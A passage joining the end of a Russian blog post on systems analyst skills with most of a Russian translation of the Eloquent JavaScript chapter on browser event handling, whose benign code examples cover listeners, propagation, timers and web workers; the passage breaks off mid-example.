Потом почитать книги — рекомендую «Паттерны разработки и рефакторинга» Крисса Ричардсона, и перейти к отдельным ресурсам, посвященным разным паттернам проектирования, вроде <https://microservices.io/>. Микросервисная архитектура — сейчас очень популярна, поэтому часто встречаются рабочие задачи на движение от монолита к микросервисам.
### Веб технологии: HTML, JS, CSS, AJAX
Аналитику нужно понимать как клиент отображает страницу/экран, что происходит под капотом на фронтенде и какую информацию клиент передает на сервер. Без этого никуда, потому что надо разбираться как будет работать система, которую нарисовал дизайнер, и перенести это всё в техническую документацию с описанием взаимодействия компонентов. Понимание как работает нужно всем, но особенно необходимо тем, кто будет работать с фронтом.
Например, я недавно участвовал в одном хакатоне и разрабатывал этот макет «аптечного приложения».
Здесь есть «нюанс» — в приложении предусмотрена авторизация на стороннем сайте, на Госуслугах. Чтобы мне, как аналитику, прописать ТЗ, надо бы знать, как она работает.
**Уровни понимания:**
* Для джунов и миддлов даже не знаю, что написать, простите:)
* Сеньор: понимает как должно быть выстроено взаимодействие с бэкендом, например, что добавится в кэш. По ТЗ может сразу нарисовать диаграмму взаимодействий элементов и протоколов.
**Как научиться:** можно начать с основ [HTML](https://htmldog.com/guides/html/) ([здесь](https://htmldog.com/guides/html/intermediate/) и [здесь](https://htmldog.com/guides/html/advanced/) продвинутые курсы), [CSS](https://htmldog.com/guides/css/), продолжить [JavaScript’ом](https://htmldog.com/guides/javascript/). Ресурсы на английском, но есть аналоги на русском — «[Начало работы с вебом](https://developer.mozilla.org/ru/docs/Learn/Getting_started_with_the_web)» и один из лучших ресурсов [по JavaScript](https://learn.javascript.ru/).
### Интеграции
Интеграции перекликаются с архитектурой, потому что все системные задачи так или иначе связаны с взаимодействием систем.
В этот блок входят как и информация об основных протоколах передачи данных (HTTP, FTP, SMTP, DBC), так и информация про архитектурные стили, связанные с системными интеграциями, о форматах обмена сообщений sync & async, а также про шины, очереди сообщений.
**Протоколы: HTTP, FTP, SMTP, DBC.**
* HTTP (HTTPS) — HyperText Transport Protocol, знакомый протокол для передачи информации по интернету. Основа взаимодействия это клиент — серверное взаимодействие: клиент посылает запрос — сервер отвечает. Самый часто встречаемый протокол на данный момент.
* FTP — File Transfer Protocol, используется для передачи файлов, в отличие от HTTP. Также использует клиент — серверное взаимодействие, однако есть [несколько ключевых отличий от HTTP](https://ru.wikipedia.org/wiki/FTP).
* SMTP & POP3 — протоколы используемые для взаимодействия с почтовыми серверами и почтовыми клиентами.
* [ODBC](https://ru.wikipedia.org/wiki/ODBC) & [JDBC](https://ru.wikipedia.org/wiki/Java_Database_Connectivity) - Стандарты взаимодействия с базами данных.
**Примечание**. протокол передачи ≠ формат взаимодействия систем.
> Список протоколов не полный, но достаточный для начала.
>
>
**Формат взаимодействия систем.**
Вариаций масса, но выделю два основных: REST и SOAP — не очень корректно сравнивать, про это уже написано десять раз. Основные отличия:
* В интеграции «по REST»: JSON over HTTP.
* В SOAP интеграции XML over HTTP.
* REST сервисы проще в разработке, проще во взаимодействии.
* SOAP сервисы, как минимум из-за специфики сообщений, считаются безопаснее, более стандартизированными, меньше подверженным ошибкам.
**По скилам.**
REST: необходимо понимание [принципов архитектурного стиля](http://www.infoq.com/articles/rest-introduction), понимание работы основных методов ( 4 метода, покажу вам их на карте), [структура и правила](https://www.w3schools.com/js/js_json_syntax.asp) формирования JSON.
SOAP: XSD схема — [правило составления](https://habr.com/ru/post/90696/) XML файла, WSDL — [схема описания веб сервиса](https://ru.wikipedia.org/wiki/WSDL), структура и правила формирования XML.
**Как научиться**: пара [отличных статей](https://habr.com/ru/post/131343/) про эти форматы взаимодействия.
**Брокеры сообщений.**
Не совсем корректно помещать в блок про протоколы, но подходит под форматы взаимодействий. Из названия можно догадаться, что брокеры сообщений — это такие компоненты системы, которые хранят в себе разные сообщения и распределяют их между получателями. Важно понимать [как это работает](https://ru.wikipedia.org/wiki/%D0%91%D1%80%D0%BE%D0%BA%D0%B5%D1%80_%D1%81%D0%BE%D0%BE%D0%B1%D1%89%D0%B5%D0%BD%D0%B8%D0%B9) и зачем используется (в распределенных системах с асинхронным взаимодействием). Наиболее популярные (те с которыми я поработал): [Kafka](https://kafka.apache.org/documentation/) и [RabbitMQ](https://www.rabbitmq.com/documentation.html).
**Уровни понимания:**
* Джун: понимает, какие интеграции существуют, через что реализованы, и что необходимо для корректной реализации.
* Мидл: понимает разницу и ограничения каждого из типа интеграций.
* Сеньор: может самостоятельно определять какой тип интеграции будет актуальнее в отдельных случаях.
**Как научиться?** Начать с [документации](https://developer.mozilla.org/ru/docs/Web) Mozilla для разработчиков, не считая ссылок на статьи.
### Диаграммы и похожие инструменты
Диаграммы — важный инструмент аналитика. Необходима как для отображения бизнес процесса, так и для детальной информации о вызовах и работе сервиса/ системы.
Обычно для диаграмм используют [Draw.io](http://Draw.io) и Visio, где можно руками двигать блоки и прочее, но я настоятельно рекомендую освоить PlantUML. В нём можно текстом передать алгоритм, где вот такое описание…
…превращается в ровную схему.
В PluntUML можно рисовать не только простые схемы бизнес-процессов, но и более детальные описания последовательности взаимодействия систем, что тоже нужно аналитику. Например, такие.
**Как научиться?**
* Изучить туториал по [UML: ER diagram](https://plantuml.com/ru/sequence-diagram), диаграммам последовательности. Используются для описания системной части. Потом — по [BPMN](https://www.lucidchart.com/blog/diagrams-for-dummies-a-BPMN-tutorial): необходима для описания бизнес процессов (часто используются упрощенные варианты)
* Из инструментов [Draw.io](http://Draw.io), Visio, и PlantUML.
Софты
-----
Можно было бы написать здесь про «адаптивность, самостоятельность и стрессоустойчивость», но у меня немного другой список.
### Желание упорядочить хаос
Я работаю в достаточно молодом проекте, поэтому у нас нет «легаси» в виде массива документации, в которой надо разбираться пару недель. Но нам активно накидывали задачи в почте, Jira, в Телеграмме, ещё в процессе появляются задачи «на потом», и идеи как можно лучше что-то реализовать.
Чтобы такие идеи не потерялись — решили командой организовать это в удобную таблицу в Конфлюенсе, которую я веду. Структурировали хаос, так сказать. Получилась таблица, где всё собрано в одном месте и достаточно удобно.
### Планирование
Это продолжение предыдущего пункта, но применительно к своей работе. Например, я всегда планирую работу на неделю и день. Мой список задач, вам может быть непонятно, я для себя писал:)
### Аналитическое мышление
Мы работаем с вендором, который нам отправляет техническую документацию, мы её ревьюим и фиксируем замечания. Однажды таких замечаний накопилось 400 штук. Сейчас мы меняем вендора и, чтобы в будущем замечаний было меньше, мы решили замечания как-то проанализировать, обдумать. Собрал всё от старого вендора, типизировал и построил разные графики и диаграммы.
Это одна из таких диаграмм. Мы потом с командой думали «над ними» как оптимизировать внутренние чек-листы, какие листы и гайды передать вендору, чтобы они сами разбирались, а какие нам.
### Самостоятельность
Логично, что для таких «проектов» нужна какая-то проактивность, потому что обычно работа аналитика самостоятельная, одиночная. Хороший аналитик чётко должен понимать, как заниматься своими задачами, уметь самостоятельно следить за тем, что и когда должно быть выполнено.
### Коммуникация
Без общения аналитику никуда. Иначе как собирать у бизнеса требования, или объяснять разработчикам суть задач? Аналитик должен уметь договариваться и отстаивать свою точку зрения.
### Тяга организовывать людей
Спорный пункт, но аналитик это первый человек, к которому обратятся ребята из смежной (или собственной) команды, чтобы узнать о том, как что работает. Чтобы не потеряться самому и всегда знать куда отправить человека за ответами, на аналитика часто ложится работа по организации информации о проекте.
На этом всё. Надеюсь, вам было интересно и полезно. Если у вас есть, что добавить — пишите комментарии, я обновлю статью и чек-лист дополню.
> Подписывайтесь [на Alfa Digital Jobs](https://t.me/alfadigital_jobs) — там мы интересно и весело рассказываем про нашу работу, делимся новостями и полезными советами, иногда даже шутим. Проекты у нас тоже интересные, например, приложение или интернет-банк. Приходите к нам, сейчас есть несколько вакансий аналитиков, например, [Системный аналитик](https://digital.alfabank.ru/vacancies/analytic) и [Ведущий системный аналитик](https://digital.alfabank.ru/vacancies/sys-anlyst).
>
>
---
Рекомендуем статьи [подборка редактора блога]:
* [Пять мифов о роботизации: как и зачем машинам делегируют рутину](https://habr.com/ru/company/alfa/blog/699528/). Boston Dynamics не будет — мы больше про рутину: сканирование, распознавание, экономия минут и вот это всё.
* [Скаутинг, fast track, пилоты, инновации?](https://habr.com/ru/company/alfa/blog/702318/) Выше было про роботов, а здесь — как их внедряют. Постарались без формальностей описать этот процесс.
* [Ещё одна подборка книг по фронтенду](https://habr.com/ru/company/alfa/blog/702972/). Без официальных аннотаций. Прочитали — рассказали чем интересно, и ещё цитат добавили.
* [Взболтать, но не смешивать: как упаковать находки исследования, миксуя JTBD, CJM и компас персон](https://habr.com/ru/company/alfa/blog/698628/). Большое исследование.
* [Как мы ведём документацию рядом с кодом](https://habr.com/ru/company/alfa/blog/680556/)
* [Как мы участвовали в чемпионате по DS длиной 3,5 месяца](https://habr.com/ru/company/alfa/blog/669522/)
Также подписывайтесь на Телеграм-канал[Alfa Digital](https://t.me/alfadigital_jobs) — там мы постим новости, опросы, видео с митапов, краткие выжимки из статей, иногда шутим. | https://habr.com/ru/post/669842/ | null | ru | null |
# Выразительный JavaScript: Обработка событий
#### Содержание
* [Введение](http://habrahabr.ru/post/240219/)
* [Величины, типы и операторы](http://habrahabr.ru/post/240223/)
* [Структура программ](http://habrahabr.ru/post/240225/)
* [Функции](http://habrahabr.ru/post/240349/)
* [Структуры данных: объекты и массивы](http://habrahabr.ru/post/240813/)
* [Функции высшего порядка](http://habrahabr.ru/post/241155/)
* [Тайная жизнь объектов](http://habrahabr.ru/post/241587/)
* [Проект: электронная жизнь](http://habrahabr.ru/post/241776/)
* [Поиск и обработка ошибок](http://habrahabr.ru/post/242609/)
* [Регулярные выражения](http://habrahabr.ru/post/242695/)
* [Модули](http://habrahabr.ru/post/243273/)
* [Проект: язык программирования](http://habrahabr.ru/post/243277/)
* [JavaScript и браузер](http://habrahabr.ru/post/243311/)
* [Document Object Model](http://habrahabr.ru/post/243815/)
* [Обработка событий](http://habrahabr.ru/post/244041/)
* [Проект: игра-платформер](http://habrahabr.ru/post/244405/)
* [Рисование на холсте](http://habrahabr.ru/post/244545/)
* [HTTP](http://habrahabr.ru/post/245145/)
* [Формы и поля форм](http://habrahabr.ru/post/245731/)
* [Проект: Paint](http://habrahabr.ru/post/245767/)
* [Node.js](http://habrahabr.ru/post/245775/)
* [Проект: веб-сайт по обмену опытом](http://habrahabr.ru/post/246331/)
* [Песочница для кода](http://eloquentjavascript.net/code)
*Вы властны над своим разумом, но не над внешними событиями. Когда вы поймёте это, вы обретёте силу.
Марк Аврелий, «Медитации».*
Некоторые программы работают с вводом пользователя, мышью и клавиатурой. Время возникновения такого ввода и последовательность данных нельзя предсказать заранее. Это требует иного подхода к контролю над порядком выполнения программы, чем уже привычный нам.
#### Обработчики событий
Представьте интерфейс, в котором единственным способом узнать, нажали ли на кнопку клавиатуры, было бы считывание текущего состояния кнопки. Чтобы реагировать на нажатия, вам пришлось бы постоянно считывать состояния кнопок, чтобы вы могли поймать это состояние, пока кнопка не отжалась. Было бы опасно проводить другие подсчёты, отнимающие процессорное время, так как можно было бы пропустить момент нажатия.
Таким образом ввод обрабатывался на примитивных устройствах. Шагом вперёд было бы, если железо или операционка замечали бы нажатие кнопки и передавали бы его в очередь. Затем программа периодически могла бы проверять очередь на новые события и реагировать на то, что находится в очереди.
Разумеется, она должна помнить о проверке, и делать это достаточно часто, потому что наличие длительного промежутка времени между нажатием кнопки и тем, когда программа замечает и реагирует на это, ведёт к восприятию этой программы как медленно работающей. Такой подход называется опросом. Большинство программистов по возможности избегают его. Такой подход используется достаточно редко.
Вариант получше – некая промежуточная система, которая позволяет коду реагировать на события в момент их возникновения. Браузеры позволяют это делать путём регистрации функций как обработчиков заданных событий.
```
Щёлкните по документу для запуска обработчика.
addEventListener("click", function() {
console.log("Щёлк!");
});
```
Функция addEventListener регистрирует свой второй аргумент как функцию, которая вызывается, когда описанное в первом аргументе событие случается.
#### События и узлы DOM
Каждый обработчик событий браузера зарегистрирован в контексте. Когда вы вызываете addEventListener, вы вызываете её как метод целого окна, потому что в браузере глобальная область видимости – это объект window. У каждого элемента DOM есть свой метод addEventListener, позволяющий слушать события от этого элемента.
```
Нажми меня нежно.
А здесь нет обработчиков.
var button = document.querySelector("button");
button.addEventListener("click", function() {
console.log("Кнопка нажата.");
});
```
Пример назначает обработчик на DOM-узел кнопки. Нажатия на кнопку запускают обработчик, а нажатия на другие части документа – не запускают.
Присвоение узлу атрибута onclick работает похоже. Но у узла есть только один атрибут onclick, значит таким способом вы можете зарегистрировать только один обработчик. Метод addEventListener позволяет добавлять любое количество обработчиков, так что вы не замените случайно уже назначенный ранее обработчик.
Метод removeEventListener, вызванный с такими же аргументами, как addEventListener, удаляет обработчик.
```
Act-once button
var button = document.querySelector("button");
function once() {
console.log("Done.");
button.removeEventListener("click", once);
}
button.addEventListener("click", once);
```
Чтобы это провернуть, мы даём функции имя (в данном случае, once), чтобы её можно было передать и в addEventListener, и в removeEventListener.
#### Объекты событий
В примерах мы проигнорировали тот факт, что функциям-обработчикам передаётся аргумент – объект события. В нём хранится дополнительная информация о событии. К примеру, если надо узнать, какая кнопка мыши была нажата, мы можем обратиться к свойству which этого объекта.
```
Жми меня, чем хочешь!
var button = document.querySelector("button");
button.addEventListener("mousedown", function(event) {
if (event.which == 1)
console.log("Левая");
else if (event.which == 2)
console.log("Средняя");
else if (event.which == 3)
console.log("Правая");
});
```
Хранящаяся в объекте информация – разная для каждого типа событий. Мы обсудим эти типы позже. Свойство объекта type всегда содержит строку, описывающую событие (например, «click» или «mousedown»).
#### Распространение (propagation)
События, зарегистрированные на узлах, имеющих дочерние узлы, получат и некоторые события, случившиеся с их детьми. Если кликнуть на кнопку внутри параграфа, обработчики событий параграфа получат событие click.
Если и у параграфа и у кнопки есть обработчики, то первым запустится более конкретный – то есть, обработчик кнопки. Событие как бы распространяется наружу, от узла, где оно случилось, до его родительского и далее до корня документа. После отработки всех обработчиков всех промежуточных узлов, очередь среагировать на событие доходит и до самого окна.
В любой момент обработчик может вызвать метод stopPropagation объекта события, чтобы «высшие» узлы не получили его. Это может быть полезным, когда у вас есть кнопка внутри другого кликабельного элемента, и вы не хотите, чтобы клики по кнопке активировали поведение внешнего элемента.
Следующий пример регистрирует обработчики «mousedown» как на кнопке, так и на окружающем параграфе. При щелчке правой кнопкой обработчик кнопки вызывает stopPropagation, который предотвращает запуск обработчика параграфа. При клике другой кнопкой запускаются оба обработчика.
```
Параграф с кнопкой .
var para = document.querySelector("p");
var button = document.querySelector("button");
para.addEventListener("mousedown", function() {
console.log("Обработчик параграфа.");
});
button.addEventListener("mousedown", function(event) {
console.log("Обработчик кнопки.");
if (event.which == 3)
event.stopPropagation();
});
```
У большинства объектов событий есть свойство target, ссылающееся на узел, который запустил обработку. Его можно использовать для проверки того, что вы не обрабатываете что-то, пришедшее с ненужного вам узла.
Также возможно использовать свойство target, чтобы распространить обработку конкретного типа события. К примеру, если у вас есть узел, содержащий длинный список кнопок, было бы удобнее зарегистрировать один обработчик событий для узла, и в нём выяснять, нажали ли на кнопку – вместо того, чтобы регистрировать обработчики каждой кнопки по отдельности.
```
A
B
C
document.body.addEventListener("click", function(event) {
if (event.target.nodeName == "BUTTON")
console.log("Clicked", event.target.textContent);
});
```
#### Действия по умолчанию
У многих событий есть действия по умолчанию. При клике на ссылку вы перейдёте по ней. При нажатии на стрелку вниз браузер прокрутит страницу вниз. По правому клику мыши вы увидите контекстное меню. И так далее.
Для большинства типов событий обработчики событий вызываются до того, как сработает действие по умолчанию. Если обработчик не хочет, чтобы это действие происходило (часто потому, что он уже обработал его), он может вызвать метод preventDefault объекта события.
Это можно использовать для создания своих горячих клавиш или контекстного меню. Также это можно использовать для слома привычного пользователю интерфейса. К примеру, вот ссылка, по которой нельзя пройти.
```
[MDN](https://developer.mozilla.org/)
var link = document.querySelector("a");
link.addEventListener("click", function(event) {
console.log("Фигушки.");
event.preventDefault();
});
```
Не делайте так – если у вас нет очень серьёзной причины! Пользователям вашей страницы будет очень неудобно, когда они столкнутся с неожиданными результатами своих действий. В зависимости от браузера, некоторые события перехватить нельзя. В Chrome нельзя обрабатывать горячие клавиши закрытия текущей закладки (Ctrl-W or Command-W).
#### События от кнопок клавиатуры
При нажатии кнопки на клавиатуре браузер запускает событие «keydown». Когда она отпускается, происходит событие «keyup».
```
Страница по нажатию V офиолетивает.
addEventListener("keydown", function(event) {
if (event.keyCode == 86)
document.body.style.background = "violet";
});
addEventListener("keyup", function(event) {
if (event.keyCode == 86)
document.body.style.background = "";
});
```
Несмотря на название, «keydown» происходит не только тогда, когда на кнопку нажимают. Если нажать и удерживать кнопку, событие будет происходить каждый раз по приходу повторного сигнала от клавиши (key repeat). Если вам, к примеру, надо увеличивать ускорение игрового персонажа, когда нажата кнопка со стрелкой, и уменьшать его, когда она отпущена – надо быть осторожным, чтобы не увеличивать ускорение каждый раз при повторе сигнала от кнопки, иначе скорость возрастёт очень сильно.
В примере упомянуто свойство keyCode объекта события. Так вы можете узнать, какая именно кнопка нажата или отпущена. К сожалению, не всегда очевидно, как преобразовать числовые коды в нужную кнопку.
Для цифр и букв код будет кодом символа Unicode, связанного с прописным символом, изображённым на кнопке. Метод строки charCodeAt даёт нам этот код.
```
console.log("Violet".charCodeAt(0));
// → 86
console.log("1".charCodeAt(0));
// → 49
```
У других кнопок коды менее предсказуемы. Лучший способ их выяснить – экспериментальный. Зарегистрировать обработчик, который записывает коды клавиш, и нажать нужную кнопку.
Кнопки-модификаторы типа Shift, Ctrl, Alt, и Meta (Command на Mac) создают события, как и нормальные кнопки. Но при разборе комбинаций клавиш можно выяснить, были ли нажаты модификаторы, через свойства shiftKey, ctrlKey, altKey, и metaKey событий клавиатуры и мыши.
```
Нажмите Ctrl-Space для продолжения.
addEventListener("keydown", function(event) {
if (event.keyCode == 32 && event.ctrlKey)
console.log("Продолжаем!");
});
```
События «keydown» и «keyup» дают информацию о физическом нажатии кнопок. А если вам нужно узнать, какой текст вводит пользователь? Создавать его из нажатий кнопок – неудобно. Для этого существует событие «keypress», происходящее сразу после «keydown» (и повторяющееся вместе с «keydown», если клавишу продолжают удерживать), но только для тех кнопок, которые выдают символы. Свойство объекта события charCode содержит код, который можно интерпретировать как код Unicode. Мы можем использовать функцию String.fromCharCode для превращения кода в строку из одного символа.
```
Переведите фокус на страницу и печатайте.
addEventListener("keypress", function(event) {
console.log(String.fromCharCode(event.charCode));
});
```
Источником события нажатия клавиши узел становится в зависимости от того, где находился фокус ввода во время нажатия. Обычные узлы не могут получить фокус ввода (если только вы не задали им атрибут tabindex), а такие, как ссылки, кнопки и поля форм – могут. Мы вернёся к полям ввода в главе 18. Когда ни у чего нет фокуса, в качестве целевого узла событий работает «document.body».
#### Щелчки мышью
Нажатие кнопки мыши тоже запускает несколько событий. События «mousedown» и «mouseup» похожи на «keydown» и «keyup», и запускаются, когда кнопка нажата и когда отпущена. События происходят у тех узлов DOM, над которыми находился курсор мыши.
После события «mouseup» на узле, на который пришлись и нажатие, и отпускание кнопки, запускается событие “click”. Например, если я нажал кнопку над одним параграфом, потом передвинул мышь на другой параграф и отпустил кнопку, событие “click” случится у элемента, который содержал в себе оба эти параграфа.
Если два щелчка происходят достаточно быстро друг за другом, запускается событие «dblclick» (double-click), сразу после второго запуска “click”.
Для получения точных координат места, где произошло событие мыши, обратитесь к свойствам pageX и pageY – они содержат координаты в пикселях относительно верхнего левого угла документа.
В примере создана примитивная программа для рисования. Каждый раз по клику на документе он добавляет точку под вашим курсором. В главе 19 будет представлена менее примитивная программа для рисования.
```
body {
height: 200px;
background: beige;
}
.dot {
height: 8px; width: 8px;
border-radius: 4px; /\* скруглённые углы \*/
background: blue;
position: absolute;
}
addEventListener("click", function(event) {
var dot = document.createElement("div");
dot.className = "dot";
dot.style.left = (event.pageX - 4) + "px";
dot.style.top = (event.pageY - 4) + "px";
document.body.appendChild(dot);
});
```
Свойства clientX и clientY похожи на pageX и pageY, но дают координаты относительно части документа, которая видна сейчас (если документ был прокручен). Это удобно при сравнении координат мыши с координатами, которые возвращает getBoundingClientRect – его возврат тоже связан с относительными координатами видимой части документа.
#### Движение мыши
Каждый раз при сдвиге курсора мыши запускается событие «mousemove». Его можно использовать для отслеживания позиции мыши. Обычно это нужно при создании некоей функциональности, связанной с перетаскиванием объектов мышью.
К примеру, следующая программа отображает полоску и устанавливает обработку событий так, что движение влево и вправо уменьшает или увеличивает её ширину.
```
Переместите мышь для увеличения ширины:
var lastX; // Последняя позиция мыши
var rect = document.querySelector("div");
rect.addEventListener("mousedown", function(event) {
if (event.which == 1) {
lastX = event.pageX;
addEventListener("mousemove", moved);
event.preventDefault(); // Запретим выделение
}
});
function moved(event) {
if (event.which != 1) {
removeEventListener("mousemove", moved);
} else {
var dist = event.pageX - lastX;
var newWidth = Math.max(10, rect.offsetWidth + dist);
rect.style.width = newWidth + "px";
lastX = event.pageX;
}
}
```
Обратите внимание – обработчик «mousemove» зарегистрирован у всего окна. Даже если мышь уходит за пределы полоски, нам надо обновлять её размер и прекращать это, когда кнопку отпускают.
Когда курсор попадает на узел и уходит с него, происходят события «mouseover» или «mouseout». Их можно использовать, кроме прочего, для создания эффектов проведения мыши, показывая или меняя стиль чего-либо, когда курсор находится над этим элементом.
К сожалению, создание такого эффекта не ограничивается запуском его при событии «mouseover» и завершением при событии «mouseout». При движении мыши от узла к его дочерним узлам на родительском узле происходит событие «mouseout», хотя мышь, вообще говоря, его и не покидала. Что ещё хуже, эти события распространяются как и все другие, поэтому вы всё равно получаете «mouseout» при уходе курсора с одного их дочерних узлов того узла, где вы зарегистрировали обработчик.
Для обхода проблемы можно использовать свойство relatedTarget объекта событий. Он сообщает, на каком узле была до этого мышь при возникновении события «mouseover», и на какой элемент она переходит при событии «mouseout». Нам надо менять эффект, только когда relatedTarget находится вне нашего целевого узла. Только в этом случае событие на самом деле представляет собой переход на наш узел (или уход с узла).
```
Наведите мышь на этот **параграф** .
var para = document.querySelector("p");
function isInside(node, target) {
for (; node != null; node = node.parentNode)
if (node == target) return true;
}
para.addEventListener("mouseover", function(event) {
if (!isInside(event.relatedTarget, para))
para.style.color = "red";
});
para.addEventListener("mouseout", function(event) {
if (!isInside(event.relatedTarget, para))
para.style.color = "";
});
```
Функция isInside перебирает всех предков узла, пока не доходит до верха документа (и тогда узел равен null), или же не находит заданного ей родителя.
Должен добавить, что такой эффект достижим гораздо проще через псевдоселектор CSS под названием :hover, как показано ниже. Но когда при наведении вам надо делать что-то более сложное, чем изменение стиля узла, придётся использовать трюк с событиями «mouseover» и «mouseout».
```
p:hover { color: red }
Наведите мышь на этот **параграф** .
```
#### События прокрутки
Когда элемент прокручивается, запускается событие «scroll». Это используется во многих случаях, например чтобы узнать, на что сейчас пользователь смотрит (чтобы останавливать анимацию, не попавшую на экран, или отправлять секретные шпионские донесения в ваш злодейский штаб), или визуально демонстрировать прогресс (подсвечивая часть содержания или показывая номер страницы).
В примере в правом верхнем углу документа создаётся индикатор процесса, который заполняется по мере прокрутки элемента вниз.
```
.progress {
border: 1px solid blue;
width: 100px;
position: fixed;
top: 10px; right: 10px;
}
.progress > div {
height: 12px;
background: blue;
width: 0%;
}
body {
height: 2000px;
}
Scroll me...
var bar = document.querySelector(".progress div");
addEventListener("scroll", function() {
var max = document.body.scrollHeight - innerHeight;
var percent = (pageYOffset / max) \* 100;
bar.style.width = percent + "%";
});
```
Позиция элемента fixed означает почти то же, что absolute, но ещё и предотвращает прокручивание элемента вместе с остальным документом. Смысл в том, чтобы оставить наш индикатор в углу. Внутри него находится другой элемент, который изменяет размер, отражая текущий прогресс. Мы используем проценты вместо px для задания ширины, чтобы размер элемента изменялся относительно размера всего индикатора.
Глобальная переменная innerHeight даёт высоту окна, которую надо вычесть из полной высоты прокручиваемого элемента – при достижении конца элемента прокрутка заканчивается. (Также в дополнение к innerHeight есть переменная innerWidth). Поделив текущую позицию прокрутки pageYOffset на максимальную позицию прокрутки, и умножив на 100, мы получили процент для индикатора.
Вызов preventDefault не предотвращает прокрутку. Обработчик события вызывается уже после того, как прокрутка случилась.
#### События, связанные с фокусом
При получении элементом фокуса браузер запускает событие “focus”. Когда он теряет фокус, запускается событие “blur”.
В отличие от предыдущих событий, эти два не распространяются. Обработчик родительского узла не уведомляется о получении или утрате фокуса дочерним элементом.
Следующий пример демонстрирует текст подсказки для того текстового поля, у которого в данный момент фокус.
```
Имя:
Возраст:
var help = document.querySelector("#help");
var fields = document.querySelectorAll("input");
for (var i = 0; i < fields.length; i++) {
fields[i].addEventListener("focus", function(event) {
var text = event.target.getAttribute("data-help");
help.textContent = text;
});
fields[i].addEventListener("blur", function(event) {
help.textContent = "";
});
}
```
Объект window получает события focus и blur, когда пользователь выделяет или убирает фокус с закладки браузера или окна браузера, в котором показан документ.
#### Событие загрузки
Когда заканчивается загрузка страницы, на объектах window и body запускается событие “load”. Это часто используется для планирования инициализирующих действий, которым необходим полностью построенный документ. Вспомните, что содержимое тегов запускается сразу, как только тег встречается. Иногда это слишком рано – например, когда скрипту нужно что-то сделать с теми частями документа, которые находятся после тега <script>.<br/>
<br/>
У элементов типа картинок или тегов скрипта, которые загружают внешний файл, тоже есть событие “load”, которое показывает, что файл загружен. Как и события фокуса, события загрузки не распространяются.<br/>
<br/>
Когда страница закрывается или с неё уходят (например, по ссылке), запускается событие «beforeunload». Основная цель – защитить пользователя от случайной потери данных при закрытии документа. Предотвращение закрытия страницы не производится, как вы могли подумать, при помощи preventDefault. Вместо этого используется возврат строки из обработчика. Строка будет использована в диалоге, который спрашивает пользователя, хочет ли он остаться на странице или покинуть её. Этот механизм гарантирует, что пользователь может покинуть страницу, даже если на ней работает зловредный скрипт, который бы хотел не отпускать пользователя, а вместо этого показывал бы ему мошенническую рекламу по снижению веса.<br/>
<br/>
<h4>График выполнения скрипта</h4><br/>
Несколько вещей могут привести к старту скрипта. Чтение тега <script> — одна из них. Запуск события – ещё одна. В главе 13 обсуждается функция requestAnimationFrame, которая планирует запуск функции перед следующей перерисовкой страницы. Это ещё один способ запустить скрипт.<br/>
<br/>
Важно понять, что хотя события и запускаются в любой момент, два разных скрипта одновременно работать не могут. Если скрипт работает, обработчики событий и запланированные другим способом куски кода будут ждать своей очереди. Поэтому документ подвисает, когда скрипт работает слишком долго. Браузер не обрабатывает щелчки и другие события внутри документа потому, что он не может запустить обработчики событий, пока работает текущий скрипт.<br/>
<br/>
В некоторых программных окружениях можно запускать несколько потоков одновременно. Можно сделать программу быстрее, если выполнять несколько вещей одновременно. Но когда несколько действующих лиц трогают одни и те же части системы в одно и то же время, продумывать программу становится на порядок сложнее.<br/>
<br/>
То, что программы JavaScript делают по одной вещи за раз, облегчает нашу жизнь. Если вам очень надо сделать в фоне что-то тяжёлое, не подвешивая при этом страницу, браузеры предоставляют штуку под названием «сетевые рабочие» (web worker) – изолированное окружение JavaScript, работающее вместе с главной программой над документом, которое может общаться с ней только посредством сообщений.<br/>
<br/>
Предположим, у нас есть следующий код в файле code/squareworker.js:<br/>
<pre><code class="javascript">
addEventListener("message", function(event) {
postMessage(event.data \* event.data);
});
</code></pre><br/>
<br/>
Представьте, что возведение в квадрат – очень тяжёлое, долго работающее вычисление, которое нам надо запустить фоновым потоком. Такой код порождает «рабочего», отправляет ему несколько сообщений, и выводит результаты.<br/>
<br/>
<pre><code class="javascript">var squareWorker = new Worker("code/squareworker.js");
squareWorker.addEventListener("message", function(event) {
console.log("The worker responded:", event.data);
});
squareWorker.postMessage(10);
squareWorker.postMessage(24);
</code></pre><br/>
<br/>
Функция postMessage отправляет сообщение, которое запускает событие “message” у принимающей стороны. Скрипт, создавший рабочего, отправляет и получает сообщения через объект Worker, тогда как рабочий общается со скриптом, создавшим его, отправляя и получая сообщения через его собственное глобальное окружение – которое является отдельным окружением, не связанным с оригинальным скриптом.<br/>
<br/>
<h4>Установка таймеров</h4><br/>
<br/>
Функция setTimeout схожа с requestAnimationFrame. Она планирует запуск другой функции в будущем. Но вместо вызова функции при следующей перерисовке страницы, она ждёт заданное в миллисекундах время. Эта страница через две секунды превращается из синей в жёлтую:<br/>
<br/>
<pre><code class="javascript"><script>
document.body.style.background = "blue";
setTimeout(function() {
document.body.style.background = "yellow";
}, 2000);
Иногда вам надо отменить запланированную функцию. Это можно сделать, сохранив значение, возвращаемое setTimeout, и затем вызвав с ним clearTimeout.
```
var bombTimer = setTimeout(function() {
console.log("BOOM!");
}, 500);
if (Math.random() < 0.5) { // 50% chance
console.log("Defused.");
clearTimeout(bombTimer);
}
```
Функция cancelAnimationFrame работает так же, как clearTimeout – вызов её со значением, возвращённым requestAnimationFrame, отменит этот кадр (если он уже не был вызван).
Похожий набор функций, setInterval и clearInterval используется для установки таймеров, которые будут повторяться каждые X миллисекунд.
```
var ticks = 0;
var clock = setInterval(function() {
console.log("tick", ticks++);
if (ticks == 10) {
clearInterval(clock);
console.log("stop.");
}
}, 200);
```
#### Устранение помех (debouncing)
У некоторых событий есть возможность выполняться быстро и много раз подряд (например, «mousemove» и «scroll»). При обработке таких событий надо быть осторожным и не делать ничего «тяжёлого», или ваш обработчик займёт столько времени на выполнение, что взаимодействие с документом будет медленным и прерывистым.
Если в таком обработчике надо сделать что-то нетривиальное, можно использовать setTimeout, чтобы гарантировать, что вы делаете это не слишком часто. Это обычно называют «устранением помех» в событии. К этому существует несколько слегка различающихся подходов.
В первом примере надо сделать что-то, когда пользователь печатает, но не надо делать это сразу после запуска каждого события нажатия на клавиши. Когда они быстро печатают, нам надо подождать, когда возникнет пауза. Вместо немедленного выполнения действия в обработчике, мы устанавливаем таймаут. Также мы очищаем предыдущий таймаут, если он был, так что если события близко одно от другого (ближе, чем задержка таймера), предыдущее событие будет отменено.
```
Напишите тут что-нибудь...
var textarea = document.querySelector("textarea");
var timeout;
textarea.addEventListener("keydown", function() {
clearTimeout(timeout);
timeout = setTimeout(function() {
